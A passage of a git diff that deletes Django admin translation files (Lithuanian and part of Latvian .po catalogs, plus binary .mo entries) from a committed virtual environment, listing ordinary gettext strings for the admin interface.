-msgstr "" - -msgid "Today" -msgstr "" - -msgid "Calendar" -msgstr "" - -msgid "Yesterday" -msgstr "" - -msgid "Tomorrow" -msgstr "" - -msgid "" -"January February March April May June July August September October November " -"December" -msgstr "" - -msgid "S M T W T F S" -msgstr "" - -msgid "Show" -msgstr "" - -msgid "Hide" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lt/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/lt/LC_MESSAGES/django.mo deleted file mode 100644 index b225f663..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lt/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lt/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/lt/LC_MESSAGES/django.po deleted file mode 100644 index 0c93418a..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lt/LC_MESSAGES/django.po +++ /dev/null @@ -1,720 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# lauris , 2011 -# Matas Dailyda , 2015-2019 -# Nikolajus Krauklis , 2013 -# Simonas Kazlauskas , 2012-2013 -# sirex , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-01-16 20:42+0100\n" -"PO-Revision-Date: 2019-01-18 10:32+0000\n" -"Last-Translator: Matas Dailyda \n" -"Language-Team: Lithuanian (http://www.transifex.com/django/django/language/" -"lt/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: lt\n" -"Plural-Forms: nplurals=4; plural=(n % 10 == 1 && (n % 100 > 19 || n % 100 < " -"11) ? 0 : (n % 10 >= 2 && n % 10 <=9) && (n % 100 > 19 || n % 100 < 11) ? " -"1 : n % 1 != 0 ? 2: 3);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Sėkmingai ištrinta %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Ištrinti %(name)s negalima" - -msgid "Are you sure?" -msgstr "Ar esate tikras?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Ištrinti pasirinktus %(verbose_name_plural)s " - -msgid "Administration" -msgstr "Administravimas" - -msgid "All" -msgstr "Visi" - -msgid "Yes" -msgstr "Taip" - -msgid "No" -msgstr "Ne" - -msgid "Unknown" -msgstr "Nežinomas" - -msgid "Any date" -msgstr "Betkokia data" - -msgid "Today" -msgstr "Šiandien" - -msgid "Past 7 days" -msgstr "Paskutinės 7 dienos" - -msgid "This month" -msgstr "Šį mėnesį" - -msgid "This year" -msgstr "Šiais metais" - -msgid "No date" -msgstr "Nėra datos" - -msgid "Has date" -msgstr "Turi datą" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Prašome įvesti tinkamą personalo paskyros %(username)s ir slaptažodį. " -"Atminkite, kad abu laukeliai yra jautrūs raidžių dydžiui." - -msgid "Action:" -msgstr "Veiksmas:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Pridėti dar viena %(verbose_name)s" - -msgid "Remove" -msgstr "Pašalinti" - -msgid "Addition" -msgstr "Pridėjimas" - -msgid "Change" -msgstr "Pakeisti" - -msgid "Deletion" -msgstr "Pašalinimas" - -msgid "action time" -msgstr "veiksmo laikas" - -msgid "user" -msgstr "vartotojas" - -msgid "content type" -msgstr "turinio tipas" - -msgid "object id" -msgstr "objekto id" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "objekto repr" - -msgid "action flag" -msgstr "veiksmo žymė" - -msgid "change message" -msgstr "pakeisti žinutę" - -msgid "log entry" -msgstr "log įrašas" - -msgid "log entries" -msgstr "log įrašai" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "„%(object)s“ pridėti." - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "Pakeisti „%(object)s“ - %(changes)s" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "„%(object)s“ ištrinti." - -msgid "LogEntry Object" -msgstr "LogEntry objektas" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "Pridėtas {name} \"{object}\"." - -msgid "Added." -msgstr "Pridėta." - -msgid "and" -msgstr "ir" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "Pakeisti {fields} arba {name} \"{object}\"." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Pakeisti {fields}." - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "Pašalintas {name} \"{object}\"." - -msgid "No fields changed." -msgstr "Nei vienas laukas nepakeistas" - -msgid "None" -msgstr "None" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" -"Nuspauskite \"Control\", arba \"Command\" Mac kompiuteriuose, kad pasirinkti " -"daugiau nei vieną." - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "{name} \"{obj}\" buvo sėkmingai pridėtas." - -msgid "You may edit it again below." -msgstr "Galite tai dar kartą redaguoti žemiau." - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" -"{name} \"{obj}\" buvo sėkmingai pridėtas. Galite pridėti kitą {name} žemiau." - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "{name} \"{obj}\" buvo sėkmingai pakeistas. Galite jį koreguoti žemiau." - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" -"{name} \"{obj}\" buvo sėkmingai pridėtas. Galite jį vėl redaguoti žemiau." - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} \"{obj}\" buvo sėkmingai pakeistas. Galite pridėti kitą {name} žemiau." - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "{name} \"{obj}\" buvo sėkmingai pakeistas." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Įrašai turi būti pasirinkti, kad būtų galima atlikti veiksmus. Įrašai " -"pakeisti nebuvo." - -msgid "No action selected." -msgstr "Veiksmai atlikti nebuvo." - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "%(name)s \"%(obj)s\" sėkmingai ištrintas." - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "%(name)s su ID \"%(key)s\" neegzistuoja. Gal tai buvo ištrinta?" - -#, python-format -msgid "Add %s" -msgstr "Pridėti %s" - -#, python-format -msgid "Change %s" -msgstr "Pakeisti %s" - -#, python-format -msgid "View %s" -msgstr "Peržiūrėti %s" - -msgid "Database error" -msgstr "Duomenų bazės klaida" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s sėkmingai pakeistas." -msgstr[1] "%(count)s %(name)s sėkmingai pakeisti." -msgstr[2] "%(count)s %(name)s " -msgstr[3] "%(count)s %(name)s " - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s pasirinktas" -msgstr[1] "%(total_count)s pasirinkti" -msgstr[2] "Visi %(total_count)s pasirinkti" -msgstr[3] "Visi %(total_count)s pasirinkti" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 iš %(cnt)s pasirinkta" - -#, python-format -msgid "Change history: %s" -msgstr "Pakeitimų istorija: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"%(class_name)s %(instance)s šalinimas reikalautų pašalinti apsaugotus " -"susijusius objektus: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django tinklalapio administravimas" - -msgid "Django administration" -msgstr "Django administravimas" - -msgid "Site administration" -msgstr "Tinklalapio administravimas" - -msgid "Log in" -msgstr "Prisijungti" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s administravimas" - -msgid "Page not found" -msgstr "Puslapis nerastas" - -msgid "We're sorry, but the requested page could not be found." -msgstr "Atsiprašome, bet prašytas puslapis nerastas." - -msgid "Home" -msgstr "Pradinis" - -msgid "Server error" -msgstr "Serverio klaida" - -msgid "Server error (500)" -msgstr "Serverio klaida (500)" - -msgid "Server Error (500)" -msgstr "Serverio klaida (500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Netikėta klaida. Apie ją buvo pranešta administratoriams el. paštu ir ji " -"turėtų būti greitai sutvarkyta. Dėkui už kantrybę." - -msgid "Run the selected action" -msgstr "Vykdyti pasirinktus veiksmus" - -msgid "Go" -msgstr "Vykdyti" - -msgid "Click here to select the objects across all pages" -msgstr "Spauskite čia norėdami pasirinkti visus įrašus" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Pasirinkti visus %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Atstatyti į pradinę būseną" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" -"Pirmiausia įveskite naudotojo vardą ir slaptažodį. Tada galėsite keisti " -"daugiau naudotojo nustatymų." - -msgid "Enter a username and password." -msgstr "Įveskite naudotojo vardą ir slaptažodį." - -msgid "Change password" -msgstr "Keisti slaptažodį" - -msgid "Please correct the error below." -msgstr "Prašome ištaisyti žemiau esančią klaidą." - -msgid "Please correct the errors below." -msgstr "Ištaisykite žemiau esančias klaidas." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Įveskite naują slaptažodį naudotojui %(username)s." - -msgid "Welcome," -msgstr "Sveiki," - -msgid "View site" -msgstr "Peržiūrėti tinklalapį" - -msgid "Documentation" -msgstr "Dokumentacija" - -msgid "Log out" -msgstr "Atsijungti" - -#, python-format -msgid "Add %(name)s" -msgstr "Naujas %(name)s" - -msgid "History" -msgstr "Istorija" - -msgid "View on site" -msgstr "Matyti tinklalapyje" - -msgid "Filter" -msgstr "Filtras" - -msgid "Remove from sorting" -msgstr "Pašalinti iš rikiavimo" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Rikiavimo prioritetas: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Perjungti rikiavimą" - -msgid "Delete" -msgstr "Ištrinti" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Trinant %(object_name)s '%(escaped_object)s' turi būti ištrinti ir susiję " -"objektai, bet tavo vartotojas neturi teisių ištrinti šių objektų:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Ištrinant %(object_name)s '%(escaped_object)s' būtų ištrinti šie apsaugoti " -"ir susiję objektai:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Ar este tikri, kad norite ištrinti %(object_name)s \"%(escaped_object)s\"? " -"Visi susiję objektai bus ištrinti:" - -msgid "Objects" -msgstr "Objektai" - -msgid "Yes, I'm sure" -msgstr "Taip, esu tikras" - -msgid "No, take me back" -msgstr "Ne, grįžti atgal" - -msgid "Delete multiple objects" -msgstr "Ištrinti kelis objektus" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Ištrinant pasirinktą %(objects_name)s būtų ištrinti susiję objektai, tačiau " -"jūsų vartotojas neturi reikalingų teisių ištrinti šiuos objektų tipus:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Ištrinant pasirinktus %(objects_name)s būtų ištrinti šie apsaugoti ir susiję " -"objektai:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Ar esate tikri, kad norite ištrinti pasirinktus %(objects_name)s? Sekantys " -"pasirinkti bei susiję objektai bus ištrinti:" - -msgid "View" -msgstr "Peržiūrėti" - -msgid "Delete?" -msgstr "Ištrinti?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Pagal %(filter_title)s " - -msgid "Summary" -msgstr "Santrauka" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "%(name)s aplikacijos modeliai" - -msgid "Add" -msgstr "Pridėti" - -msgid "You don't have permission to view or edit anything." -msgstr "Jūs neturite teisių peržiūrai ir redagavimui." - -msgid "Recent actions" -msgstr "Paskutiniai veiksmai" - -msgid "My actions" -msgstr "Mano veiksmai" - -msgid "None available" -msgstr "Nėra prieinamų" - -msgid "Unknown content" -msgstr "Nežinomas turinys" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Kažkas yra negerai su jūsų duomenų bazės instaliacija. Įsitikink, kad visos " -"reikalingos lentelės sukurtos ir vartotojas turi teises skaityti duomenų " -"bazę." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Jūs esate prisijungęs kaip %(username)s, bet neturite teisių patekti į šį " -"puslapį. Ar norėtumete prisijungti su kitu vartotoju?" - -msgid "Forgotten your password or username?" -msgstr "Pamiršote slaptažodį ar vartotojo vardą?" - -msgid "Date/time" -msgstr "Data/laikas" - -msgid "User" -msgstr "Naudotojas" - -msgid "Action" -msgstr "Veiksmas" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" -"Šis objektas neturi pakeitimų istorijos. Tikriausiai jis buvo pridėtas ne " -"per administravimo puslapį." - -msgid "Show all" -msgstr "Rodyti visus" - -msgid "Save" -msgstr "Išsaugoti" - -msgid "Popup closing…" -msgstr "Iškylantysis langas užsidaro..." - -msgid "Search" -msgstr "Ieškoti" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s rezultatas" -msgstr[1] "%(counter)s rezultatai" -msgstr[2] "%(counter)s rezultatai" -msgstr[3] "%(counter)s rezultatai" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s iš viso" - -msgid "Save as new" -msgstr "Išsaugoti kaip naują" - -msgid "Save and add another" -msgstr "Išsaugoti ir pridėti naują" - -msgid "Save and continue editing" -msgstr "Išsaugoti ir tęsti redagavimą" - -msgid "Save and view" -msgstr "Išsaugoti ir peržiūrėti" - -msgid "Close" -msgstr "Uždaryti" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Keisti pasirinktus %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Pridėti dar vieną %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Pašalinti pasirinktus %(model)s" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "Dėkui už šiandien tinklalapyje turiningai praleistą laiką." - -msgid "Log in again" -msgstr "Prisijungti dar kartą" - -msgid "Password change" -msgstr "Slaptažodžio keitimas" - -msgid "Your password was changed." -msgstr "Jūsų slaptažodis buvo pakeistas." - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Saugumo sumetimais įveskite seną slaptažodį ir tada du kartus naują, kad " -"įsitikinti, jog nesuklydote rašydamas" - -msgid "Change my password" -msgstr "Keisti mano slaptažodį" - -msgid "Password reset" -msgstr "Slaptažodžio atstatymas" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Jūsų slaptažodis buvo išsaugotas. Dabas galite prisijungti." - -msgid "Password reset confirmation" -msgstr "Slaptažodžio atstatymo patvirtinimas" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Įveskite naująjį slaptažodį du kartus, taip užtikrinant, jog nesuklydote " -"rašydami." - -msgid "New password:" -msgstr "Naujasis slaptažodis:" - -msgid "Confirm password:" -msgstr "Slaptažodžio patvirtinimas:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Slaptažodžio atstatymo nuoroda buvo negaliojanti, nes ji tikriausiai jau " -"buvo panaudota. Prašykite naujo slaptažodžio pakeitimo." - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Jei egzistuoja vartotojas su jūsų įvestu elektroninio pašto adresu, " -"išsiųsime jums slaptažodžio nustatymo instrukcijas . Instrukcijas turėtumėte " -"gauti netrukus." - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Jei el. laiško negavote, prašome įsitikinti ar įvedėte tą el. pašto adresą " -"kuriuo registravotės ir patikrinkite savo šlamšto aplanką." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Jūs gaunate šį laišką nes prašėte paskyros slaptažodžio atkūrimo " -"%(site_name)s svetainėje." - -msgid "Please go to the following page and choose a new password:" -msgstr "Prašome eiti į šį puslapį ir pasirinkti naują slaptažodį:" - -msgid "Your username, in case you've forgotten:" -msgstr "Jūsų naudotojo vardas, jei netyčia jį užmiršote:" - -msgid "Thanks for using our site!" -msgstr "Dėkui, kad naudojatės mūsų tinklalapiu!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s komanda" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" -"Pamiršote slaptažodį? Įveskite savo el. pašto adresą ir mes išsiųsime laišką " -"su instrukcijomis kaip nustatyti naują slaptažodį." - -msgid "Email address:" -msgstr "El. pašto adresas:" - -msgid "Reset my password" -msgstr "Atstatyti slaptažodį" - -msgid "All dates" -msgstr "Visos datos" - -#, python-format -msgid "Select %s" -msgstr "Pasirinkti %s" - -#, python-format -msgid "Select %s to change" -msgstr "Pasirinkite %s kurį norite keisti" - -#, python-format -msgid "Select %s to view" -msgstr "Pasirinkti %s peržiūrai" - -msgid "Date:" -msgstr "Data:" - -msgid "Time:" -msgstr "Laikas:" - -msgid "Lookup" -msgstr "Paieška" - -msgid "Currently:" -msgstr "Šiuo metu:" - -msgid "Change:" -msgstr "Pakeisti:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lt/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/lt/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 77922d36..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lt/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lt/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/lt/LC_MESSAGES/djangojs.po deleted file mode 100644 index a922bd63..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lt/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,236 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# Kostas , 2011 -# Matas Dailyda , 2015-2016 -# Povilas Balzaravičius , 2011 -# Simonas Kazlauskas , 2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2018-05-17 11:50+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Matas Dailyda \n" -"Language-Team: Lithuanian (http://www.transifex.com/django/django/language/" -"lt/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: lt\n" -"Plural-Forms: nplurals=4; plural=(n % 10 == 1 && (n % 100 > 19 || n % 100 < " -"11) ? 0 : (n % 10 >= 2 && n % 10 <=9) && (n % 100 > 19 || n % 100 < 11) ? " -"1 : n % 1 != 0 ? 2: 3);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Galimi %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Tai yra sąrašas prieinamų %s. Dėžutėje žemiau pažymėdami keletą iš jų ir " -"paspausdami „Pasirinkti“ rodyklę tarp dviejų dėžučių jūs galite pasirinkti " -"keletą iš jų." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Rašykite į šią dėžutę, kad išfiltruotumėte prieinamų %s sąrašą." - -msgid "Filter" -msgstr "Filtras" - -msgid "Choose all" -msgstr "Pasirinkti visus" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Spustelėkite, kad iš karto pasirinktumėte visus %s." - -msgid "Choose" -msgstr "Pasirinkti" - -msgid "Remove" -msgstr "Pašalinti" - -#, javascript-format -msgid "Chosen %s" -msgstr "Pasirinktas %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Tai yra sąrašas pasirinktų %s. Dėžutėje žemiau pažymėdami keletą iš jų ir " -"paspausdami „Pašalinti“ rodyklę tarp dviejų dėžučių jūs galite pašalinti " -"keletą iš jų." - -msgid "Remove all" -msgstr "Pašalinti visus" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Spustelėkite, kad iš karto pašalintumėte visus pasirinktus %s." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "pasirinktas %(sel)s iš %(cnt)s" -msgstr[1] "pasirinkti %(sel)s iš %(cnt)s" -msgstr[2] "pasirinkti %(sel)s iš %(cnt)s" -msgstr[3] "pasirinkti %(sel)s iš %(cnt)s" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Turite neišsaugotų pakeitimų. Jeigu tęsite, Jūsų pakeitimai bus prarasti." - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"Pasirinkote veiksmą, bet dar neesate išsaugoję pakeitimų. Nuspauskite Gerai " -"norėdami išsaugoti. Jus reikės iš naujo paleisti veiksmą." - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Pasirinkote veiksmą, bet neesate pakeitę laukų reikšmių. Jūs greičiausiai " -"ieškote mygtuko Vykdyti, o ne mygtuko Saugoti." - -msgid "Now" -msgstr "Dabar" - -msgid "Midnight" -msgstr "Vidurnaktis" - -msgid "6 a.m." -msgstr "6 a.m." - -msgid "Noon" -msgstr "Vidurdienis" - -msgid "6 p.m." -msgstr "18:00" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -"Pastaba: Jūsų laikrodis rodo %s valanda daugiau nei serverio laikrodis." -msgstr[1] "" -"Pastaba: Jūsų laikrodis rodo %s valandomis daugiau nei serverio laikrodis." -msgstr[2] "" -"Pastaba: Jūsų laikrodis rodo %s valandų daugiau nei serverio laikrodis." -msgstr[3] "" -"Pastaba: Jūsų laikrodis rodo %s valandų daugiau nei serverio laikrodis." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -"Pastaba: Jūsų laikrodis rodo %s valanda mažiau nei serverio laikrodis." -msgstr[1] "" -"Pastaba: Jūsų laikrodis rodo %s valandomis mažiau nei serverio laikrodis." -msgstr[2] "" -"Pastaba: Jūsų laikrodis rodo %s valandų mažiau nei serverio laikrodis." -msgstr[3] "" -"Pastaba: Jūsų laikrodis rodo %s valandų mažiau nei serverio laikrodis." - -msgid "Choose a Time" -msgstr "Pasirinkite laiką" - -msgid "Choose a time" -msgstr "Pasirinkite laiką" - -msgid "Cancel" -msgstr "Atšaukti" - -msgid "Today" -msgstr "Šiandien" - -msgid "Choose a Date" -msgstr "Pasirinkite datą" - -msgid "Yesterday" -msgstr "Vakar" - -msgid "Tomorrow" -msgstr "Rytoj" - -msgid "January" -msgstr "Sausis" - -msgid "February" -msgstr "Vasaris" - -msgid "March" -msgstr "Kovas" - -msgid "April" -msgstr "Balandis" - -msgid "May" -msgstr "Gegužė" - -msgid "June" -msgstr "Birželis" - -msgid "July" -msgstr "Liepa" - -msgid "August" -msgstr "Rugpjūtis" - -msgid "September" -msgstr "Rugsėjis" - -msgid "October" -msgstr "Spalis" - -msgid "November" -msgstr "Lapkritis" - -msgid "December" -msgstr "Gruodis" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "S" - -msgctxt "one letter Monday" -msgid "M" -msgstr "P" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "A" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "T" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "K" - -msgctxt "one letter Friday" -msgid "F" -msgstr "Pn" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "Š" - -msgid "Show" -msgstr "Parodyti" - -msgid "Hide" -msgstr "Slėpti" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lv/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/lv/LC_MESSAGES/django.mo deleted file mode 100644 index 8982b4d4..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lv/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lv/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/lv/LC_MESSAGES/django.po deleted file mode 100644 index 4cd13c0e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lv/LC_MESSAGES/django.po +++ /dev/null @@ -1,797 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# edgars , 2011 -# Edgars Voroboks , 2023-2025 -# Edgars Voroboks , 2017,2022 -# Edgars Voroboks , 2018 -# Jannis Leidel , 2011 -# Māris Nartišs , 2016 -# Edgars Voroboks , 2019-2021 -# peterisb , 2016 -# Pēteris Caune, 2023 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Edgars Voroboks , 2023-2025\n" -"Language-Team: Latvian (http://app.transifex.com/django/django/language/" -"lv/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: lv\n" -"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n != 0 ? 1 : " -"2);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Izdzēst izvēlēto %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Veiksmīgi izdzēsti %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Nevar izdzēst %(name)s" - -msgid "Delete multiple objects" -msgstr "Dzēst vairākus objektus" - -msgid "Administration" -msgstr "Administrācija" - -msgid "All" -msgstr "Visi" - -msgid "Yes" -msgstr "Jā" - -msgid "No" -msgstr "Nē" - -msgid "Unknown" -msgstr "Nezināms" - -msgid "Any date" -msgstr "Jebkurš datums" - -msgid "Today" -msgstr "Šodien" - -msgid "Past 7 days" -msgstr "Pēdējās 7 dienas" - -msgid "This month" -msgstr "Šomēnes" - -msgid "This year" -msgstr "Šogad" - -msgid "No date" -msgstr "Nav datums" - -msgid "Has date" -msgstr "Ir datums" - -msgid "Empty" -msgstr "Tukšs" - -msgid "Not empty" -msgstr "Nav tukšs" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Lūdzu ievadi korektu %(username)s un paroli personāla kontam. Ņem vērā, ka " -"abi ievades lauki ir reģistrjutīgi." - -msgid "Action:" -msgstr "Darbība:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Pievienot vēl %(verbose_name)s" - -msgid "Remove" -msgstr "Dzēst" - -msgid "Addition" -msgstr "Pievienošana" - -msgid "Change" -msgstr "Izmainīt" - -msgid "Deletion" -msgstr "Dzēšana" - -msgid "action time" -msgstr "darbības laiks" - -msgid "user" -msgstr "lietotājs" - -msgid "content type" -msgstr "satura tips" - -msgid "object id" -msgstr "objekta id" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "objekta attēlojums" - -msgid "action flag" -msgstr "darbības atzīme" - -msgid "change message" -msgstr "izmaiņas teksts" - -msgid "log entry" -msgstr "žurnāla ieraksts" - -msgid "log entries" -msgstr "žurnāla ieraksti" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Pievienots “%(object)s”." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Labots “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Dzēsts “%(object)s.”" - -msgid "LogEntry Object" -msgstr 